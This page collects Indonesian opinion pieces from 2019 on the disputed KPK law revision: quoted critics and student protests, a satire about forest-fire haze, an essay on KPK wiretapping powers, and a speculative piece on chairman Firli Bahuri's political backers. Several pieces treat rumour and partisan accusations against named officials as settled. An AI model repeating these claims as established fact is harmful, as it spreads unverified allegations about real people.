KPK baru yang menjadi macan ompong. Goyang Jokowi Berikut cuitan Syamsuddin Haris terkait KPK. @sy_haris Sep 11: Saya sdh baca. Ini bukan revisi tapi pembentukan UU baru krn hampir semua pasal diubah. KPK format lama dibubarkan dan dibentuk KPK baru yg macan ompong. Cc: @PDI_Perjuangan @Gerindra @Golkar5 @NasDem @DPP_PKB @PDemokrat @PKSejahtera @Fraksi_PAN @DPP_PPP @sy_haris Sep 13: Lengkap sdh skenario pelumpuhan @KPK_RI. Pak @jokowi mbiarkan capim yg diduga cacat integritas lolos ke DPR, bahkan kemudian dipilih sbg Ketua KPK. Pada saat bersamaan Presiden setuju mbahas usul revisi UU KPK dari DPR. Mereka lupa, di atas Presiden & DPR ada rakyat yg berdaulat. @sy_haris· Sep 13: Ketika aspirasi dan hati nurani publik (tentang pentingnya integritas komisioner serta independensi lembaga antikorupsi) ternyata sekadar menjadi alas kaki kekuasaan. Hidup para oligark, hidup koruptor. @sy_haris 23h: Skor Indeks Persepsi Korupsi Indonesia 2018 berada di angka 38, meningkat satu poin dibanding 2017, atau diperingkat 89 dari 180 negara. Itu artinya, kita butuh @KPK_RI yg kuat, independen & bebas dari intervensi lembaga lain. Apa jadinya jika KPK lumpuh? Dan, Revisi UU KPK akhirnya telah ditetapkan DPR. Tapi, suara penolakan atas penetapan itu terus dilakukan publik. Salah satu diantaranya adalah pengamat politik Rocky Gerung. Ia menyebut, orkestra pelemahan KPK sejatinya dipimpin oleh Presiden Jokowi. “Karena presiden memimpin sendiri pelemahan KPK, melalui DPR seolah- olah itu legal," kata Rocky Gerung di sela-sela kuliah umum di Universitas Bosowa, Makassar, seperti dilansir Teropongsenayan.com, Selasa (17/9/2019). Rocky menyebut, revisi UU KPK di DPR ibarat sebuah pertunjukan orkestrasi yang dipimpin langsung oleh Jokowi. “Jadi dari awal memang direkayasa disuruh cepat-cepat supaya isunya mengendap karena akan ada isu baru lagi, soal kebakaran hutan dan segala macam,” ujarnya. “Tapi publik akan mengingat itu (semua) sebagai pengerdilan hak demokrasi itu, pengerdilan kemampuan KPK untuk membersihkan negeri ini dan ini akan masih berlanjut dan masyrakat sipil tidak akan terima,” imbuh Rocky. Menurut Rocky, seharusnya presiden melibatkan publik untuk menampung masukan terkait revisi UU KPK. “Mustinya Presiden tanya publik bukan tanya DPR. KPK itu kayak Irian sih musti referendum,” ujarnya. Sikap keras atas sikap Presiden Jokowi juga datang dari mahasiswa Universitas Padjadjaran (UNPAD), Bandung. Konsolidasi Mahasiswa Unpad (KMU) memberikan mosi tidak percaya pada Pemerintahan Presdien Jokowi. Mereka menilai, komitmen pemerintahan Jokowi dalam memberantas korupsi sudah tidak dapat dipercaya lagi. Mosi tidak percaya juga diberikan kepada DPR yang dinilai telah berkerjasama dengan Jokowi untuk melemahkan KPK melalui revisi UU KPK. Konsolidasi Mahasiswa Unpad menggarisbawahi 4 poin krusial usulan DPR dan disetujui Presiden Jokowi, yakni keinginan membentuk Dewan Pengawas KPK, aturan penyadapan, kewenangan Surat Penghentian Penyidikan Perkara (SP3), dan status pegawai KPK. Jadi, “(Ini) bukan lagi bentuk upaya pelemahan terhadap KPK, melainkan sudah pada tahap merampas entitas yang dimiliki KPK sebagai komisi independen pemberantas korupsi,” tulis pernyataan yang diotentifikasi dua pentolan KMU, Bigwantsa dan Luthfi. “Kami sebagai mahasiswa tidak mempercayai komitmen pemerintahan Joko Widodo beserta anggota DPR RI dalam memberantas korupsi apabila revisi UU KPK terus dilanjutkan,” tulis statement KMU itu. Tuntutan serupa juga datang dari Mahasiswa Riau yang berhasil “menduduki” DPRD Riau. Mereka menuntut Jokowi mundur dari kedudukannya sebagai Presiden. Termasuk gerakan Mahasiswa Makassar. Suara keresahan juga menggema dari Balairung Universitas Gajah Mada, Jogjakarta. Ketua Dewan Guru Besar UGM Prof. Koentjoro menilai revisi UU KPK akan mengebiri lembaga antirasuah itu. Para dosen, mahasiswa, hingga karyawan kampus itu berkumpul bersama kompak mengenakan pakaian berwarna hitam. “Upaya sistematis pelemahan KPK dan gerakan antikorupsi yang agresif dan begitu brutal dalam beberapa pekan terakhir ini sungguh melecehkan moralitas bangsa kita,” tegas Prof. Koentjoro saat membaca deklarasi UGM tolak pelemahan KPK di Balairung, Gedung Pusat UGM. Fenomena menarik dari mahasiswa yang mulai bergerak di Makassar atau Bandung. Meski sebagai riak kecil. Dan gerakan besar di Riau. Jika gerakan mahasiswa seperti di Pekanbaru Riau ini berefek domino, maka bisa menggoyang porisi Presiden Jokowi. Dalam satu bulan ke depan, bisa saja ada gelombang yang memusat di DPR/MPR RI Jakarta. Artinya, ada tekanan politik penolakan Joko Widodo – Ma’ruf Amin untuk dilantik semakin menguat. Aksi mahasiswa biasanya menjadi magnet bagi gumpalan lain. M. Rizal Fadillah menulis, dosa politik pemerintahan Jokowi sudah terlalu banyak. Dari dosa kecil hingga besar. Contoh dosa kecil: membagi dan melempar amplop uang dari mobil, jadi imam tanpa kapasitas, doyan impor, atau di lokasi bencana “empati” dengan swafoto. Lalu dosa menengah seperti main-main “divestasi 51 %” Freeport, mobil “Nasional-China” Esemka, banjir TK Cina, atau rencana pindah Ibukota tanpa persetujuan rakyat. Yang dosa besar, seperti “pembiaran” 700 petugas pemilu tewas, kecurangan pemilu, dwifungsi Polisi, poros Beijing, serta “pembunuhan” KPK. Sehingga, wajar jika muncul tuntutan untuk menyudahi amanat rakyat. Menteri-menteri yang dipilihnya selama masa jabatan banyak yang “belepotan”, baik pernyataan maupun kebijakan. Rezimnya tidak berprestasi, bahkan sebaliknya membuat rakyat hampir frustrasi. Terlalu berat bagi Jokowi mengemban amanat sebagai Presiden. Lebih baik pensiun. Itu lebih membahagiakan diri, keluarga, dan tentu saja rakyat. Moga. Begitu catatan Pemerhati Politik dari Bandung itu, 19 September 2019. Apalagi, dengan banyaknya anggota Parpol Koalisi Jokowi yang menjadi pesakitan KPK. Ini bisa memicu penarikan dukungan kepada Jokowi yang dianggap “tidak bisa” melindunginya. Seperti Menpora Imam Nachrowi yang ditetapkan KPK sebagai tersangka. Dengan bahasa ekstrim: Jokowi Khianati Parpol Koalisi!

Viralkan, Eskpor Komoditas Ini Naik Tajam

By Asyari Usman Selasa dinihari. Terlihat kesibukan luar biasa di halaman belakang kantor Kemenko Semua Urusan. Awak media besar-besar sudah menunggu sejak dua jam yang lalu. Bakal ada pengumuman penting tentang kenaikan ekspor Indonesia yang luar biasa besar. Ekspor ke negara-negara tetangga melonjak tajam. Menko Perekonomian menolak untuk mengumumkan kenaikan ekspor itu. Begitu juga Menteri Perdagangan. Mereka mengatakan, komoditas itu tidak masuk dalam wewenang Menko Perekonomian atau Menteri Perdagangan. Mereka mempersilakan LBP yang mengumumkan kenaikan fantastis itu. Alasannya, LBP memiliki hubungan emosional yang sangat kental dengan produksi komoditas tsb. Komoditas ini tak asing bagi LBP. Tiba-tiba LBP muncul di depan para wartawan dan awak media. Berikut ini pengantar yang disampaikan Menko: Saudara-sauadara, mohon maaf harus menunggu lama. Dengan perasaan haru bercampur sedih, saya ditugaskan untuk mengumumkan kenaikan besar ekspor suatu komoditas yang selama ini banyak diributkan orang. Sungguh tak disangka, setelah menurun selama beberapa tahun ini, ekspor kita kembali menguasai pasar regional. Komoditas ini memang tidak disukai jiran-tetangga. Tetapi, berkat kekuatan kita sebagai negara besar, akhirya komoditas ini mereka bolehkan masuk tanpa ‘import duty’ (pajak impor). Sungguh luar biasa. Komoditas yang tak disenangi oleh konsumen tetangga tapi mereka tidak bisa menolak ekspor kita. Bahkan membebaskan pajak impornya. Ini membuktikan bahwa kita berhasil mendikte negara-negara lain. Saya yakin, ekpor produk-produk lain yang sejenis dengan komoditas yang tak disukai ini, juga akan melonjak. Sekian dari saya. Silakan kalau ada pertanyaan. Begitulah LBP menutup penjelasan persnya. Tapi, semua wartawan bertanya-tanya apa gerangan komoditas yang sangat istimewa itu. Tak disukai oleh konsumen tapi malah bisa masuk ke negara tetangga tanpa pajak impor. Seorang reporter menyambar. “Apa komoditas yang Bapak maksud,” kata dia bertanya. LBP menjawab, “Kamu dari MetroTipu ya?” “Iya, Pak.” “Tolong tulis bagus-bagus ya. Komoditas ini membuat Indonesia terkenal. Kamu harus bangga,” ujar LBP. “Siap, Pak,” jawab reporter MetroTipu. Tapi, dia sangat penasaran produk apa yang dimaksudkan LBP. “Produk apa itu, Pak?” Si reporter bertanya lagi. LBP menjawab, “Berarti kamu tidak mengikuti perkembangan salah satu industri strategis kita.” “Maaf, Pak. Saya sakit dalam seminggu ini. Saya mengalami gangguan pernapasan,” kata si reporter menjelaskan. “Kamu baru datang dari Kuala Lumpur, ya?” tanya LBP. “Betul, Pak. “Seharusnya kamu sudah melihat komoditas andalan itu di sana. Wartawan apaan kamu ini,” kata LBP. “Maksud Bapak, Esemka ya Pak?” “Emangnya kamu bisa sesak napas karena Esemka?” LBP balik bertanya. “Bisa aja Pak. Malah saya jantungan kalau melihat Esemka.” LBP langsung bergegas kembali ke lift gedung Kemenko. Dia tidak menyebutkan nama produk yang ekspornya naik tajam itu. “Oooh, saya tahu maksud Bapak. Eskpor asap yang melonjak tajam, ya Pak…” kata si reporter Metrotipu agak berteriak kecil sambil melihat LBP berjalan cepat menuju lift. “Beres, Pak. Kami akan beritakan di TV bahwa asap itu awal-awalnya saja membuat sesak napas. Setelah itu akan terbiasa.Terbiasa sesak napas,” kata si reporter. LBP menekan tombol lift agak keras. Dia kelihatan dongkol. Dongkol karena terpaksa harus mutar-mutar menjelaskan lonjakan besar ekspor komoditas asap Karhutla. Di dalam hati, LBP bergumam. “Mentang-mentang gua Menko Segala Urusan, masa menjelaskan kenaikan tajam ekspor asap pun harus gua juga.” Saking kerasnya tombol naik ditekan, lift meluncur dengan kecepatan tinggi, menembus atap gedung. Warga yang melihat bertepung tangan, menyangka Kemenko sedang melakukan uji-coba roket peluncur ekspor untuk membantu Esemka. Penulis adalaha Waratwan Senior

Menyadap Persekongkolan Korup

Kreasi Lycurgus, dalam catatan Niclolo Machiavelli dalam buku “Diskursus” berumur lebih 800 tahun. Ia dipuji selamanya, karena pemerintahan hasil kreasinya membawa kesentosaan. Temuan kreatif Lycurgus itu, tak dapat disangkal mengilhami James Madison, arsitek konstitusi Amerika Serikat tahun 1787, yang dikenal sebagai perancang sistem hubungan antar tiga cabang kekuasaan. Oleh Dr. Margarito Kamis Jakarta, FNN - Sudut mana di bumi Allah Subhanahu Wata’ala ini, yang dapat diandalkan untuk bersembunyi dari kejaran kebenaran? Tidakkah Allah Subhanahu Wata’ala, Pencipta alam raya ini? Dia Allah Yang Maha Tahu telah memberitahukan dengan sangat gamblang bahwa nafasmu yang tak terlihat dan teraba itu pun memiliki jejak? Tidakkah orang-orang telah diberitahu bahwa tindak-tanduk sekecil apapun, tak terbantahkan, tidak peduli secanggih apapun usaha menyembunyikannya, tetap saja terlihat terang-benderang oleh Dia Allah Yang Maha Tahu? Jadi? Adakah faedahnya melarang, dalam arti membatasi kewenangan KPK melakukan penyadapan? Bukankah seluruh tindakan orang-orang yang menyadap itu juga terekam oleh Allah Yang Maha Tahu? Tidakkah semua tindakan setiap orang, tanpa kecuali, kelak pada suatu saat pasti akan tersaji apa adanya di hadapan Dia Yang Maha Tahu? Mengapa penyadapan yang telah cukup sering dilakukan KPK, dan telah mengakibatkan sejumlah orang dipenjara, karena ketahuan melakukan kejahatan dibatasi penggunaannya dengan cara mengatur tata caranya? Disisi lain mengapa orang-orang, boleh sebagian saja di KPK dan lainnya terlihat keberatan dengan pembatasan penggunaan wewenang penyadapan itu? Akankah pembatasan penggunaan kewenangan penyadapan mengakibatkan KPK tidak lagi berfungsi? Di Jalan Sejarah Sepanjang jalan sejarah peradaban yang kelak memunculkan demokrasi dan rule of law, yang siapapun menyusurinya, dan memeriksa deteilnya akan bertemu dengan beberapa hal mengagumkan. Disepanjang jalan itu, anda akan menemukan tidak ada seorang, atau sebesar apapun kekuasaan yang selalu terkokang di tangannya, yang dapat terus terbang tinggi. Sebab pastti terjatuh mencium tanah. Tidak ada diktator dan tiran sebesar dan seganas apapun, yang dapat terus bertahan dalam kejayaan hitamnya. Pasti tidak. Firaun, sang diktator dan tiran terkejam itu, yang menyamakan dirinya dengan Tuhan, dalam kenyataannya tenggelam. Firaun tersunggkur, dan terjerembab juga dengan keangkuhannya sendiri. Namrud, sipenguasa yang sama diktatorialnya dengan Firaun jatuh juga. Namrud tenggelam dalam akhir yang pahit, menyedihkan. Kediktatorannya berakhir dengan satu pukulan alam yang mematikan. Tetapi sudahlah lupakan itu. Mari melihat kasus yang ada kaitannya dengan korupsi. Contoh terbaik adalah Romawi Kuno. Sebelum menjadi imperium, Romawi memiliki sejumlah diktator top. Tetapi saya ingin mengemukakan dua di antaranya saja. Yang pertama Gaius Ferres, sidiktator dan koruptior tak tertandingi, dengan kekejamannya. Juga tak tersaingi, dan tak tertandingi kecuali mungkin dengan dirinya sendiri pada saat menjabat gubernur Sisilia tahun 73-71 Sebelum Masehi, akhirnya dipenjarakan juga oleh Cicero. Gaji prajurit dimakan sendiri. Menerima suap dari prajurit yang bermaksud meninggalkan tugas adalah tipikal lain korupsinya. Yang hampir tak terpikirkan adalah korupsinya dalam jual-beli hukuman. Ketika seorang yang tak berdosa dihukum dengan hukuman mati. Masih harus dirundingkan besarnya uang suap untuk menentukan cara melaksanakan hukuman mati itu. Karena korupsi yang terus menjalar merasuki semua sendi kehidupan, Kaisar Valentianus (364-375 Masehi) memeranginya. Karena masifnya, ia memeranginya dengan mempraktekan pemerintahan teror. Dalam kenyataannya, terornya itu bermata dua. Banyak, tulis Syed Husen Alatas, ilmuan sosiologi korupsi paling kawakan ini, orang tak bersalah sekalipun dihukum. Sedangkan orang yang bersalah lolos. Seorang bendahara negara disuatu tempat dibakar hidup-hidup, karena kesalahan kecil. Itu sebabnya Ammianus Marcelinus, seorang sejarawan pada masanya, tulis Syed, melukiskan Valentianus sebagai orang yang berbakat biadab, bengis dan kejam. Seorang pandai besi yang mempersembahkan kepada kaisar penutup dada yang diberi hiasan. Bukannya diberi hadiah. Pandai besi itu malah dihukum mati. Penyebab, karena berat penutup dada itu sedikit lebih ringan dari yang diharapkan oleh sang Kaisar. Tinggalkan Kaisar Valentianus dan Ammianus Marcelinus. Mari beralih ke jalan sejarah disudut yang lain. Anda akan menemukan kenyataan “kerahasiaan atau merahasiakan sesuatu”. Apapun itu ternyata tersaji sepenuhnya sebagai barang buruk, seburuk-buruknya. Pada jalan itu pula akan ditemukan kesukaan “merahasiakan sesuatu”. Apapun itu tak pernah tertakdir sebagai tipikal diktator semata. Tidak. Ternyata diktator itu juga mempunyai kesukaan tertakdir sebagai tipikal orang yang gandrung mempromosikan dan mengagungkan demokrasi. Saya, tulis Syed ingat penggambaran kegiatan usaha-usaha gelap yang dikemukakan oleh Woodrow Wilson. Berulang-ulang, tulis Syed memperingatkan tentang rahasia yang menyelubungi pemilikan perusahaan dan hubungannya dengan para gembong politik. Sebagai contoh ia Woodrow Wilson tampilkan usaha surat kabar. Katanya alangkah baiknya kalau surat kabar mencantumkan nama para pemiliknya atau pemegang sahamnya. Tujuannya agar semua pembaca dapat mengetahui pendapat siapa yang disuarakan kabar tersebut. Selian itu, pendapat siapa pula yang dikesampingkan oleh surat kabar. Jika demikian, tulis Syed lebih jauh, ada undang-undang yang akan mewajibkan dicantumkan nama pemilik surat kabar itu. Hal itu akan dimentahkan dengan cara yang berbelit-belit. Pemilik surat kabar lebih suka pada kerahasiaan dan mencantumkan nama orang yang tidak berpengaruh dan tidak penting. Mereka, kata Syed lebih jauh lagi, mengatur hubungan dengan pemilik yang sebenarnya. Yang memegang dan menguasai saham atas dasar hipotesis. Akhirnya, pusat syaraf surat kabar itu terletak disuatu Bank. Orang yang menguasai penggunaan uang adalah orang yang menguasai surat kabar. Kemudian Wilson membuat kesimpulan yang tepat. “Lihat bagaimana sesuatu yang terbuat dari air raksa. Jika anda menjetikan jari anda terhadapnya, semua unsur pembentukannya akan buyar.” Cara Sehat Absolutisme disepanjang jalan sejarah tak pernah baik. Disudut terkecil sekalipun, mengandung dan memancarkan kebaikan. Itulah yang dikenali oleh Lycurgur, penguasa di Sparta Roma. Karena telah cukup detail mengenal monarki, aristokrasi dan demokrasi. Yang dalam kenyataan hanya bisa bertahan dalam waktu singkat. Lycurgus mengorganisasikan ketiga jenis pemerintahan tersebut menjadi satu. Ia membuatnya saling terhubung, saling terkait satu dengan lainnya. Kreasi Lycurgus, dalam catatan Niclolo Machiavelli dalam buku “Diskursus” berumur lebih 800 tahun. Ia dipuji selamanya, karena pemerintahan hasil kreasinya membawa kesentosaan. Temuan kreatif Lycurgus itu, tak dapat disangkal mengilhami James Madison, arsitek konstitusi Amerika Serikat tahun 1787, yang dikenal sebagai perancang sistem hubungan antar tiga cabang kekuasaan. Sistem ciptaan Lycurgus yang diberi bentuk lebih jauh oleh James Madison inilah yang saat ini dikenal dengan cheks and balances. Itu sebabnya Lycurgus, untuk alasan sebagai penemu terdahulu, lebih tepat ditahbiskan sebagai peletak dasar sistem cheks and balances. Sejarah yang telah menyatakan kebenarannya itu, untuk alasan yang sehat, mestinya membawa siapapun melihat pembentukan norma hukum tentang tata cara penyadapan. Pembentukan unit pengawasan terhadap penggunaan seluruh wewenang KPK, dilihat sebagai panggilan yang menyehatkan. Mengatur tata cara penyadapan, untuk alasan secanggih apapun, tidak bakal termaknai sebagai “penghilangan wewenang penyadapan” KPK. Itu pasti tidak. Membentuk unit pengawasan, juga sama. Tidak bisa, dengan argumen apapun, dimaknai sebagai cara mengucilkan, secara kasar maupun halus KPK dari pertempuran melawan korupsi. Tidak. Nalar pras toto seperti itu cukup jelas. Terlalu sulit untuk tidak membawa dan menahbiskannya sebagai nalar menyesatkan. Tentu tak berkelas menurut timbangan nalar peradaban. Membatasi dengan cara mengatur “tata cara penggunaan wewenang” sama sekali tak bernalar analogis, dan silogistis sebagai penghilangan. Juga tidak. Bukan saja karena KPK tetap dapat melakukan penyadapan menurut tata cara tertentu. Juga mendapat izin dari pengawas, tetapi terhadap kasus-kasus yang dilaporkan ke KPK. Kalau KPK mau, maka KPK dapat melakukan penyadapan terhadap kasus diselidiki dan disidik oleh KPK. Pembaca yang budiman. Memerangi kejahatan, sebagaimana yang telah dibuktikan kebenarannya dalam sejarah, tidak dapat dilakukan dengan cara yang sama buruknya dengan kejahatan itu sendiri. Tidak. Gema perang melawan korupsi saat ini, dengan sejumlah kenyataan terlihat seperti pisau bermata dua. Ini tidak baik. Memompa moralitas perang terhadap korupsi di satu sisi, tetapi pada saat yang sama membiarkan mesin produksi korupsi terus eksis. Misalnya, pemilu langsung disisi lainnya, sejujurnya adalah hal yang naïf, senaif-naifnya. Naif betul menerima pemilu sebagai ekspresi hak semata. Pemilu disisi lain merupakan medan pemodal membeli kekuasaan secara halus. Orang yang dibeli, dan membeli sama-sama tak mungkin adalah orang yang baik. Menariknya Machiavelli menemukan kenyataan dan membuat tesis, “orang baik tidak bakal menaiki tangga kekuasaan, mengandalkan, mempertahankan kekuasaannya dengan cara yang terlihat baik dikulit, tetapi jahat dalam esensinya. Tidak. Orang baik tidak pernah bermuka dua. Sadaplah setiap pembicaraan persekongkolan membuat korupsi. Lakukanlah secara benar. Membiarkan korupsi sama dengan menempatkan moralitas ditempat sampah. Sama busuknya dengan memberantas korupsi dengan cara yang korup dan jahat. Korupsi tidak dapat ditoleransi dengan menyodorkan skala jumlah uang yang dikorupsi. Karena anda, dengan cara apapun instrumennya, tidak dapat mengukur secara tepat efek sosialnya terhadap setiap sudut kemanusiaan yang ditimbulkannya. Jelas itu. Penulias adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Firli Bahuri Ketua KPK, "Titipan" Siapa?!

Jika melihat jejak kariernya itu, tentu tidak salah kalau Firli disebut-sebut sebagai “orangnya” SBY yang sengaja dipasang di KPK. Atau “orangnya” BG/PDIP dan Kapolri Jenderal Tito Karnavian yang telah membebaskannya dari pelanggaran kode etik KPK. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Seperti halnya Ketua KPK pertama, Taufiequrachman Ruki, Irjen Polisi Firli Bahuri adalah “orangnya” Ketum DPP Partai Demokrat Susilo Bambang Yudhoyono. Tak hanya Ruki dan Firli. Konon, Agus Rahardjo termasuk “orangnya” SBY juga. Empat orang lainnya, selain Laode Muhammad Syarif yang “orangnya” Wapres Jusuf Kalla, “orangnya” SBY Cs. Jadi, jika pada 2018 dan 2019 ini tak ada kader Demokrat yang diciduk KPK, karena ada orangnya SBY yang bercokol di dalam KPK. Pengkhianatan SBY Cs pada PDIP melalui hasil capim KPK jilid IV yang terpilih pada 17 Desember 2015 lalu, tak ada seorang pun “titipan” PDIP. Tinggal Aris Budiman, Dirdik KPK, yang satu-satunya tangan Budi Gunawan/PDIP di KPK. Tapi, AB yang sudah out dari KPK itu, tak berkutik untuk bisa menghalangi tokoh-tokoh PDIP yang menjadi target OTT KPK dan penunggangan kasus BLBI untuk ancam Megawati Soekarnoputri jadi tersangka jika PDIP menolak usung Joko Widodo sebagai Capres Petahana 2019. Apakah terpilihnya Irjen Firli Bahuri yang kini masih menjabat Kapolda Sumatera Selatan ini hasil rekonsiliasi antara SBY Cs dengan BG/PDIP? Sehingga, nantinya Firli bisa “menjamin” untuk tidak mengusik politisi dari Parpol Koalisi Jokowi? Ketua KPK pertama, Taufiequrachman Ruki, Irjen Polisi Purnawirawan, politikus, anggota DPR. Lulusan terbaik Akademi Kepolisian 1971 ini terpilih jadi Ketua KPK, 16 Desember 2003 hingga digantikan oleh Antasari Azhar pada 2007. Jika melihat jejak digital terkait pimpinan KPK, tentu saja terpilihnya Irjen Firli Bahuri tidak menyalahi aturan hanya karena dia seorang anggota Polri. Apalagi, sejarah KPK mencatat, pernah pula dipimpin seorang yang berlatar anggota Polri. Terakhir, saat KPK dipimpin Agus Rahardjo pun ada seorang anggota Polri bernama Basaria Panjaitan. Pertanyaannya, mengapa ketika Irjen Firli Bahuri yang dipilih Komisi III DPR RI sebagai Ketua Terpilih KPK 2019-2023 dipersoalkan? Firli Bahuri terpilih bersama Alexander Marwata, Nurul Ghufron, Nawawi Pomolango, dan Lili Pintouli Siregar. Kecuali Alex, yang petahana komisioner KPK, yang lainnya terbilang “wajah baru”. Belum terungkap mereka ini titipan siapa. Mengapa Ditolak? Terpilihnya Irjen Firli Bahuri bukan hanya direaksi oleh eksternal KPK. Dalam internal KPK juga terjadi penolakan, terutama dari Wadah Pegawai KPK. Pasalnya, saat Firli menjadi Direktur Penyidikan, dia melanggar kode etik sebagai Pegawai KPK. Adalah Abdullah Hehamahua, penasehat KPK yang cukup keras menyikapi terpilihnya Irjen Firli Bahuri sebagai Ketua KPK. Saat diketahui Firli telah melanggar kode etik, pimpinan KPK lebih setuju mengembalikan Firli ke Polri daripada diproses. Dari 5 pimpinan KPK, 3 setuju dikembalikan, makanya tak ada pemrosesan lebih lanjut. Tujuannya untuk menjaga hubungan baik dengan coklat (Polri), ternyata malah nyapim. “Tragis, rasanya saya mau ganti warga negara saja,” tulis Hehamahua. “Tahun lalu saya diundang Pengawas Internal (IP) KPK sebagai ahli untuk dimintai keterangan atas dugaan pelanggaran kode etik yang dilakukan Firli. Saya diperlihatkan video dan foto-foto Firli berhubungan dengan orang yang sedang diperiksa KPK,” ujarnya. “Atas pemeriksaan dan rekomendasi PI, Dewan Pertimbangan Pegawai (DPP) menyidangkan Firli dan dijatuhi sanksi atas pelanggaran berat sehingga seharusnya dipecat (sesuai SOP di KPK),” ungkap Hehamahua. Kesalahannya tiga: berhubungan dengan tersangka/calon tersangka, menerima gratifikasi, dan memainkan kasus di KPK. “Berdasarkan pelanggaran yang dilakukan, seharusnya Firli tidak hanya dijatuhi sanksi etik tapi juga sanksi pidana,” tegasnya. Sebelum putusan DPP dieksekusi pimpinan, Firli ditarik instansinya, bahkan dipromosikan menjadi Kapolda Sumsel. “Jadi kalau ada yang membela Firli, maka saya melepaskan diri dari mereka ketika pertanggungjawaban di akhirat nanti,” lanjutnya. “Bila perlu saya dikeluarkan dari grup ini. Tapi ada kelucuan lain dari Pansel dan Komisi 3 yakni diantara komisioner yang dipilih itu, ada salah seorang yang beberapa tahun lalu tidak lulus seleksi pegawai KPK tapi lulus jadi komisioner,” ujar Hehamahua. “Memang dunia sudah mau kiamat,” tutur Hehamahua yang tulisannya beredar di berbagai grup WA ini. Dan, perlawanan atas terpilihnya Firli dilakukan secara terbuka sebelum ke-5 pimpinan KPK mengembalikan mandatnya ke Presiden Joko Widodo. Ketua KPK Agus Rahardjo menyampaikan fakta terkait data penanganan kasus di lembaga antirasuwah itu. Pernyataan itu disampaikan Agus di tengah gelombang penolakan terhadap revisi UU Nomor 30 Tahun 2002 tentang KPK. Ia mengungkap, lebih dari seribu perkara korupsi sudah ditangani. “Tapi ini bukan hanya soal jumlah orang yang ditangkap dan diproses hingga divonis bersalah melalukan korupsi saja. Jabatan pelaku korupsinya juga terbaca jelas,” kata Agus, Jumat (6/9/2019). Pelaku pejabat publik terbanyak adalah anggota DPR dan DPRD, yaitu dalam 255 perkara. Kemudian kepala daerah berjumlah 110 perkara. Mereka diproses dalam kasus korupsi dan ada juga yang dijerat pencucian uang. Ini baru data sampai Juni 2019. “Setelah itu, sejumlah politisi kembali diproses,” ujarnya, seperti dilansir Detik.com. Dengan UU KPK yang saat ini berlaku, Agus menganggap kinerja KPK tak pandang bulu. Bila revisi UU KPK mulus terjadi di DPR, Agus menyebut ada pasal-pasal yang bisa mematikan kinerja KPK selama ini. “Selama upaya pemberantasan korupsi dilakukan di Indonesia, mungkin tidak akan pernah terbayangkan ratusan wakil rakyat dan kepala daerah tersentuh hukum. Adagium hukum tajam ke bawah tapi tumpul ke atas sering sekali kita dengar,” ujar Agus. Tapi, dengan dukungan publik yang kuat, KPK berupaya untuk terus menjalankan tugasnya. Selain anggota DPR, DPRD, kepala daerah, ada 27 menteri dan kepala lembaga yang dijerat, dan 208 perkara yang menjerat pejabat tinggi di instansi, yaitu setingkat eselon I, II, dan III. “Tercatat, Ketua DPR RI dan Ketua DPD aktif dan sejumlah menteri aktif yang melakukan korupsi juga ikut diproses,” ungkap Agus. Menurut Agus, angka-angka di atas tentu bukan sekadar hitungan numerik orang-orang yang pada akhirnya menjadi tersangka hingga bisa disebut koruptor. Kasus-kasus ini, lanjut Agus, tentu juga terkait ratusan proyek pemerintah dan perizinan. “Proyek dengan nilai hingga ratusan miliar itu, atau bahkan, triliunan rupiah dipotong untuk kepentingan sejumlah pejabat yang mereka sebut commitment fee,” ungkap Agus lagi. Padahal seharusnya uang rakyat Indonesia yang menjadi sumber utama anggaran, harus dapat dinikmati secara penuh oleh masyarakat. “Niat baik pemerintah untuk membangun negeri ini diselewengkan para pelaku korupsi,” lanjut Agus. Pernyataan Agus muncul tak lama usai ratusan pegawai KPK menggelar aksi menolak revisi UU Nomor 30 Tahun 2002 tentang KPK di lobi gedung KPK, Jumat (6/9/2019). Turut hadir antara lain Wakil Ketua KPK Saut Situmorang. Dalam kesempatan itu, Saut mengatakan, lima pimpinan KPK telah mengirimkan surat kepada Presiden Jokowi terkait revisi UU KPK. “Mudah-mudahan untuk dibaca, untuk direnungkan, kemudian mengambil kebijakan,” katanya. Sebelumnya, sebanyak 10 fraksi dalam Rapat Paripurna DPR RI, Kamis (5/9/2019), sepakat revisi UU KPK menjadi inisiatif DPR. Keputusan itu tak ayal menimbulkan pro dan kontra di masyarakat, tidak terkecuali di kalangan pimpinan KPK. Firli Bahuri lahir di Prabumulih, Sumatera Selatan, 7 November 1963. Dia menjadi anggota Polri sebagai lulusan Akademi Kepolisian (Akpol) pada 1990. Firli kemudian masuk di PTIK pada 1997. Pada 2001, dia menjabat Kapolres Persiapan Lampung Timur. Pada 2004, Firli kemudian menempuh Sekolah Pimpinan Menengah (Sespimen). Kariernya berlanjut dengan ditarik ke Polda Metro Jaya menjadi Kasat III Ditreskrimum, 2005-2006. Selanjutnya dua kali berturut-turut menjadi Kapolres, yakni Kapolres Kebumen dan Kapolres Brebes pada 2008 saat pangkatnya masih AKBP. Kariernya semakin moncer ketika ditarik ke Ibukota menjadi Wakapolres Metro Jakarta Pusat pada 2009 lalu. Kepercayaan terus mengalir pada Firli. Dia didapuk menjadi ajudan Presiden SBY pada 2010. Keluar dari Istana, Firli lantas memegang jabatan Direskrimsus Polda Jateng pada 2011. Firli kembali ke Istana dan kali ini menjadi ajudan Wapres RI Boediono pada 2012. Dia kemudian menjabat Wakapolda Banten pada 2014 dengan pangkat Kombes. Firli juga sempat mendapat promosi Brigjen saat dimutasi jadi Karo Dalops Sops Polri pada 2016. Puncak kariernya di Polri diraih setelah “dikembalikan” dari KPK ke Mabes Polri dan dipromosikan sebagai Kapolra Sumsel. Jika melihat jejak kariernya itu, tentu tidak salah kalau Firli disebut-sebut sebagai “orangnya” SBY yang sengaja dipasang di KPK. Atau “orangnya” BG/PDIP dan Kapolri Jenderal Tito Karnavian yang telah membebaskannya dari pelanggaran kode etik KPK.

Saatnya Melawan, Ada Apa dengan TEMPO?

